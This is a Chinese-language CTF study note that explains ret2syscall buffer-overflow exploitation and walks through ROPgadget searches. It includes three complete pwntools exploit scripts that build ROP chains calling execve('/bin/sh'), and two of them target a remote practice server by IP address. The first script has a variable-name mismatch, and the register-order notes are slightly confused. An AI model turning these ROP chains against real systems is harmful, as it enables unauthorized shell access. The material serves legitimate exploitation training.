利用原理

ret2syscall,即控制程序执行系统调用,获取 shell。
可以理解为拼接成一个系统调用的栈。

eaxebxecxedx中带入指定的参数拼接成关键的系统函数,最后在寻找int 0x80的地址,从而执行这些函数.

顺序
32位 eax->edx->ecx->ebx
64位 rdi->rsi->rdx->rcx->r8->r9

解题步骤

  1. 先使用cyclic测试出溢出点
  2. 确定要调用的系统函数
    • 使用RODgatet先查找是否有/bin/sh的gadgets,如果有就直接使用execve
    • 如果没有就要调用read函数实现用户输入/bin/sh存入内存,再使用execve
  3. 再使用工具RODgatgets查找各寄存器、/bin/shint 0x80所在的地址
    1
    2
    3
    ROPgadget --binary ./rop --only "pop|ret" |grep "eax"
    ROPgadget --binary ./rop --string "/bin/sh"
    ROPgadget --binary ./rop --only "int" 
  4. 然后构造payload中依次对该地址传值
    1
    2
    3
    4
    payload = "a"*112
    payload += p32(eax_ret)+p32(0x0b)
    payload += p32(edx_ecx_ebx_ret)+p32(0x0)+p32(0x0)+p32(sh_ret)
    payload += p32(sys_call)
  5. 如果没有/bin/sh就要先调用read函数(详情见统函数页笔记)
    1. 各寄存器中传入read的参数
    2. 再在各寄存器中传入如execve函数的参数
    3. 最后在用户输入中传入/bin/sh到read的的buf参数,即buf值的地址

图片


例题

Rop[简单系统调用]

点击下载-提取码: v3jq

思路

比较容易 参照上面解题步骤即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = process("./rop")
eax_pop = 0x080bb196
edx_ecx_ebx_pop = 0x0806eb90
sh_pop = 0x080be408
Ret_syscall = 0x08049421
payload = "a"*112
payload += p32(eax_pop)+p32(0x0b)
payload += p32(edx_ecx_ebx_pop)+p32(0x0)+p32(0x0)+p32(sh_pop)
payload += p32(ret_syscall)
sh.sendline(payload)
sh.interactive()

Ret2sys[多系统函数调用]

点击下载-提取码:64ff

思路

  1. 由于程序中并没有/bin/sh这个字符串,如果执行系统调用必须要手动将/bin/sh写入到程序bss段中
  2. 构造payload可以使用read函数,在内存地址中读取之后用户输入的/bin/sh
    先找到eax,ebx,ecx,edx以及int 0x80的地址
  3. 对eax,ebx,ecx,edx填充read函数的参数(在bss段找到一个有权限的地址,带入到ebx中)
  4. 再次对eax,ebx,ecx,edx填充,这次使用execve函数,执行之前read函数读取的内容所在的地址内的值 即”/bin/sh\x00”
  5. 执行payload,进行溢出,再次向程序中发送数据 即“/bin/sh\x00”

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
sh = process("./ret2sys")
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#sh = remote("120.79.17.251",10005)
pop_eax = 0x080bb2c6 
pop_edx_ecx_ebx = 0x0806ecb0
bss = 0x080eb000
int_0x80 = 0x0806F350
payload = "a"*44
payload += p32(pop_eax)+p32(0x3)
payload += p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)
payload += p32(int_0x80)
payload += p32(pop_eax)+p32(0xb)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)
payload += p32(int_0x80)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
bin_sh = "/bin/sh\x00"
sh.sendline(bin_sh)
sh.interactive()

Ret2sys[64位寄存器]

点击下载-提取码:5eb8

思路

  • 与32位不同,需要注意以下几点
  • 存储参数的寄存器名不同
  • ret返回的函数名不同
    • 32位为int 0x80,64位为syscall ret

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
#sh = process("./ret2sys_64")
sh = remote("120.79.17.251",10006)
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
pop_rax =0x000000000046b9f8
pop_rdi = 0x00000000004016c3
pop_rdx_rsi =0x00000000004377f9
bss = 0x00000000006c2000
ret = 0x000000000045bac5
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa"
payload += p64(pop_rax)+p64(0x0)
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload += p64(pop_rdi)+p64(0)
payload += p64(ret)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)
payload += p64(pop_rdi)+p64(bss)
payload += p64(ret)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
sh.sendline("/bin/sh\x00")
sh.interactive()